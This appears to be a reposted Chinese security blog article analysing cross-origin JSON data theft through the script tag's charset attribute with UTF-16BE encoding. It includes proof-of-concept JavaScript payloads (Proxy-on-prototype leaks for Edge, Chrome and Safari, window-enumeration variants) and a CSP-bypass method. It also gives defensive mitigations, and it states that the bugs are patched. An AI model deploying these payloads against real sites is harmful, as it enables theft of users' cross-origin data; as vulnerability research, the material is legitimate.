文章总结: 本文深入剖析利用script标签charset属性结合UTF-16BE编码实现跨域数据读取的技术,详细展示了在Edge、Chrome、Safari等浏览器上的利用差异与绕过CSP的方法,并给出防守方缓解建议,强调显式声明字符集的重要性。文章技术细节丰富,具备实战参考价值,但需注意仅限授权测试。
综合评分: 82
文章分类: 漏洞分析,WEB安全,浏览器安全,红队
一个没人正眼看过属性,撬开了跨域读数据的大口子
原创
升斗安全XiuXiu
升斗安全XiuXiu
升斗安全
2026年9月20日 07:56
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
【文章说明】
- 目的:本文内容仅为网络安全技术研究与教育目的而创作。
- 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
- 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
📌 这篇讲什么:接上篇。上篇我们拿到了一件工具——用 Proxy 在原型链上装内鬼,把跨域脚本里的未定义变量名喊出来。下篇解决剩下的问题:怎么让一段 JSON 变成变量名。答案是一个你每天都在用、却从没正眼看过的属性:script 标签的 charset。我们会用 UTF-16BE 在 Edge、Chrome、Safari 上各打一遍,再讲没有 JS 代理时怎么偷、怎么顺手绕过 CSP,最后给防守方能落地的缓解方案。
没看上篇的朋友建议先补一下,不然 __proto__ 那段会有点跳。跨域的我读不到,那就让它自己喊出来
一、UTF-16BE:两个字节,一个字符 🔍
先把原理讲透,后面所有 PoC 都建立在这两分钟上。
UTF-16BE 是一种多字节编码——每两个字节,拼成一个字符。
一个正常的 JSON 响应开头是这样的:
[”supersecret”,”input here”]
前面两个字符是 [ 和 “,ASCII 分别是 0x5b 和 0x22。
在 UTF-16BE 下,浏览器不会把它们当成两个字符,而是揉成一个:0x5b22。
而 0x5b22 是什么?它是一个合法的 JavaScript 变量名。
这一点对中文用户其实特别好理解——JS 的标识符允许 Unicode,你完全可以用中文写 var 变量 = 1。0x5b22 对应的是个汉字(或者某个 CJK 字符),凭什么不能当变量名?
一旦想通这个,整条链就通了:
整段 JSON 的每一个字节对,都会被揉成一个字符,连在一起,就成了一个长得奇形怪状、但完全合法的变量名。而”未定义变量”这件事,上篇我们已经能偷了。
二、Edge:需要一点”填料” 💥
理论很美,Edge 比较挑食。
假设目标响应是这样,而且我们能控制第二个元素的一部分:
[”supersecret”,”input here”]
要偷 supersecret,我得往响应里注入一个NULL 字符 + 两个 a:
Object.setPrototypeOf(__proto__, new Proxy(__proto__, { has: function(target, name) { alert(name.replace(/./g, function(c) { c = c.charCodeAt(0); return String.fromCharCode(c >> 8, c & 0xff); })); } })); <!-- 响应内容:[”supersecret”,”<?php echo chr(0)?>aa”] -->
两个细节:
-
为什么要注入 NULL + 填充?老实说,我也不确定根因。可能是 Edge 在做字符集嗅探,也可能是它截断了响应,而 NULL 之后的字符在它眼里不构成合法变量。但实测结论很明确:不加这两个字符,Edge 就不认 UTF-16BE。有时候工程结论就是先于原理到达的。
-
那个 replace 在干什么?我们拿到的是 UTF-16BE 揉出来的字符,得还原成原来的字节。c >> 8 取高字节,c & 0xff 取低字节,再拼回两个 ASCII 字符。
跑起来会弹出 [“supersecret”,”——可以看到,Edge 在 NULL 之后把响应截断了。
坦白讲这招限制不小:很多字符两两组合之后,并不能形成合法的 JS 变量。它更适合偷短数据,比如 token 的前半截、用户名的前几个字符。
三、Chrome:宽容得让人害怕 🕳️
Chrome 的脾气完全不同——它对带特殊字符集的脚本极度宽容,你甚至不需要控制任何响应内容,只要 URL 能被你引用,它就会乖乖用你指定的字符集去解析。
唯一的要求还是那句:组合出来的字符得是个合法变量。
先在原型链上做文章。Chrome 看起来也禁止了 proto 覆盖,但它漏算了一件事:proto可以往下套很多层。
__proto__.__proto__.__proto__.__proto__.__proto__ = new Proxy(__proto__, { has: function f(target, name) { var str = f.caller.toString(); alert(str.replace(/./g, function(c) { c = c.charCodeAt(0); return String.fromCharCode(c >> 8, c & 0xff); })); } }); <!-- 响应内容:[”supersecret”,”abc”] -->
注意我们挖了五层proto。
然后最戏剧性的一幕出现了:name参数里什么都没有,泄漏跑到f.caller里去了。
f.caller 返回的是调用我们这个函数的函数——而它里面,带着我们那个变量名。打印出来长这样:
function 嬢獵灥牳散牥琢Ⱒ慢挢崊
看清楚了吗?supersecret 那几个字,就藏在那一串乱码汉字里。
一个小坑:必须对函数调toString()才能拿到数据,直接访问会抛通用异常。
(Chrome 54 已修复,PoC 在 53 上有效。)
另外我顺手测出一个更吓人的:跨域加载 XML 甚至 HTML 数据也成立,哪怕 Content-Type 是 text/html。这意味着不管对方返回什么格式,只要能被你用 script 引用,就可能变成一次信息泄漏。这个洞在 Chrome 已修。
四、Safari:少一层,换个参数 🍎
Safari 上同样轻松,只需要四层proto,而且泄漏位置回到了 name(不用去翻 caller):
__proto__.__proto__.__proto__.__proto__ = new Proxy(__proto__, { has: function f(target, name) { alert(name.replace(/./g, function(c) { c = c.charCodeAt(0); return String.fromCharCode(c >> 8, c & 0xff); })); } });
继续测下去还发现,Safari 和 Edge 一样受同一个问题影响,其实只要proto.proto两层就够了。
三家浏览器,三种深度,三种泄漏位置——同一套思路,三种写法。这就是我总说的:差异化的价值,全在这些”少一层”里。
五、没有 JS 代理,照样偷 🧠
前面都依赖 ES6 的 Proxy。那遇到不支持代理的老浏览器呢?
前提有两个:你能控制响应里的一小段,并且这个 feed 的构造能凑出合法变量。
偷注入点之前的内容:
思路特别朴(野)素(路子)——我输出一段 UTF-16BE 编码的字符串,给一个非 ASCII 变量赋值,然后遍历 window,看哪个属性的值是它。属性名就是注入点之前的全部 JSON。
=1337;for(i in window)if(window[i]===1337)alert(i)
这段被编码成 UTF-16BE 之后,实际上就是”每个字符后面垫一个 NULL”。
偷注入点之后的内容:
用自增运算符,把编码后的字符串变成 window 的一个属性,再 setTimeout 之后遍历 window,这次找 NaN:
setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}catch(e){}}});++window.a
那个 try…catch 不是多余的——在 IE 上用 isNaN 检查 window.external 会直接抛异常,不包起来整段就挂了。
拼进 JSON 里,整个 feed 长这样(节选):
{”abc”:”abcdsssdfsfds”,”a”:”a”:”dasfdasdf”}
我特别喜欢这一招,因为它证明了一件事:高级特性只是捷径,不是必需品。没有 Proxy,靠赋值、遍历、自增这些最土的操作,一样能达到目的。
六、顺手绕过 CSP 🔓
还记得 UTF-16BE 会把换行符也变成非 ASCII 字符吗?这个副作用,直接开出了一条 CSP 绕过路。
因为换行没了,整个 HTML 文档会被当成一个 JavaScript 变量。
我们要做的只有三件事:
- 1.注入一个带
charset="UTF-16BE"的 script,让它引用自己这个页面;- 注入点输出一段编码后的赋值语句 + 有效载荷;
尾巴上补一个单行注释 //,把后面的 HTML 全吃掉。这样就能绕过”只允许加载同源脚本”的 CSP 策略——而这恰恰是绝大多数 CSP 策略的配置方式。
目标页面得长成这样(注意 doctype 后面不能有换行,且不能声明字符集——不是为了 charset,是因为 meta 标签的引号和属性会破坏 JS 语法):
<!doctype HTML>Test<?php echo $_GET['x']; ?>
有效载荷(注意开头需要一个制表符,才能造出合法变量):
解码之后就是 \t=alert(1);// 那套东西。
七、其他字符集:一半是路,一半是墙 🧪
我对每个浏览器 × 每个字符集都做了模糊测试,结论大致如下:
- Edge:测起来很痛苦。它会做字符集嗅探,文档里没有特定字符,它就拒绝使用你指定的字符集。
- Chrome:最配合,DevTools 还能用正则过滤控制台输出,测起来顺畅。
- ucs-2:能把 XML 数据导成 JS 变量,但比 UTF-16BE 更脆,成功导入过一次 XML(Chrome 上现已失效)。
- UTF-16 / UTF-16LE:看起来有戏(输出确实像变量),但一遇到 doctype、XML 声明或 JSON 字符串,就会语法错误。
- Safari:有些有趣的结果,但我没能让它产出合法 JS。这块值得深挖,只是模糊测试成本很高——你得用”正在测的那个字符集”去编码字符才能造出有效用例。这事交给浏览器厂商去做,效率会比我们高得多。
八、为什么 CSS 上打不通 🎨
理论上,同样的手法应该能用在 CSS 上——任何 HTML 都会被变成非 ASCII 的无效选择器嘛。
现实是:浏览器在用你指定的字符集解析 CSS 之前,会先看文档有没有 doctype,有就直接忽略这个样式表。自注入样式表因此失败。
另外,Edge、Firefox 和标准模式下的 IE 还会检查 MIME 类型。Chrome 嘴上说”样式表已解释”,至少我的测试里并没有。
九、防守方该做什么 🛡️
缓解方案其实非常朴素,只有一句话:
在 HTTP 响应头的 Content-Type 里显式声明字符集。
Content-Type: text/html; charset=UTF-8
只要字符集被钉死,浏览器就不会去听 script 标签上那个 charset 属性,整套攻击链从第一环就断了。
顺带一提:PHP 5.6 起,即使你没在 content-type 里设置,它也会默认声明 UTF-8,等于替你挡了这一刀。所以这类洞在今天更多出现在——自己拼响应头的服务、老旧的 Java/Python 服务、以及那些”我就返回个 JSON,声明字符集干嘛”的 API 上。
给开发者的自查清单:
- 所有响应(尤其是 JSON / XML / 静态文件)都显式声明 charset=UTF-8;
- 别以为 CSP 能救你——同源 script-src 这条最常见的策略,正好是被绕过的目标;
- JSON 接口不要用 GET 返回数组字面量,加上
while(1);之类的前缀或者干脆只接受 POST; - 该上 X-Content-Type-Options: nosniff 的地方别省。
十、值钱的从来不是 payload 🧠
做完整个系列,我最想说的是这句:
Edge、Safari、Chrome 都曾被这套东西打穿;而打穿它们的,不是什么高深的利用链,是”对规范细节的好奇心”。
一个 script 标签上的 charset 属性,一个所有人都见过、没人多看一眼的东西,撬开的是跨域读取的大口子。
给猎人的四条收尾清单:
- 看到没声明 charset 的响应就眼睛发亮——尤其是 JSON/XML 接口,这是这类攻击的入场券。
- 原型链层数逐个试:2 层、4 层、5 层,不同浏览器答案不同,别试一次就放弃。
- 泄漏点不止一个:
name没有就看caller,caller要toString(),参数没有就翻调用栈。 - 补丁公告是藏宝图:看到”禁止 X”,就去找 X 的等价物——上篇的
Object.setPrototypeOf就是这么来的。
十一、说明 ⚠️
本文涉及的所有问题均已在对应浏览器中修复(Chrome 54 起修复、PHP 后续版本默认 UTF-8 等),文中 PoC 仅用于安全研究与授权测试,请勿用于未授权目标。
上下两篇到这里就写完了,照例求个三连。
这两篇从翻当年的演讲稿到把每个字节对一遍,占了我两个晚上。如果它们让你下次看到”响应头里没写 charset”的时候,会下意识多停两秒——那这几个小时就没白花。这多出来的两秒,可能就是别人漏掉、而你捡到的那个洞。
- 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
- 顺手**「转发」**给群里那几个还在说”JSON 劫持早死了”的兄弟,以及做前端的朋友(第九节的自查清单直接给他们看);
- 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里;
- 也欢迎**「推荐」**给身边做安全、做开发的朋友,一起少写点没声明字符集的代码。
#JSON劫持 #UTF16BE #CSP绕过 #渗透测试 #Web安全 #赏金猎人 #跨域 #漏洞挖掘 #经验分享 #浏览器安全
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:升斗安全 升斗安全XiuXiu
升斗安全XiuXiu《一个没人正眼看过属性,撬开了跨域读数据的大口子》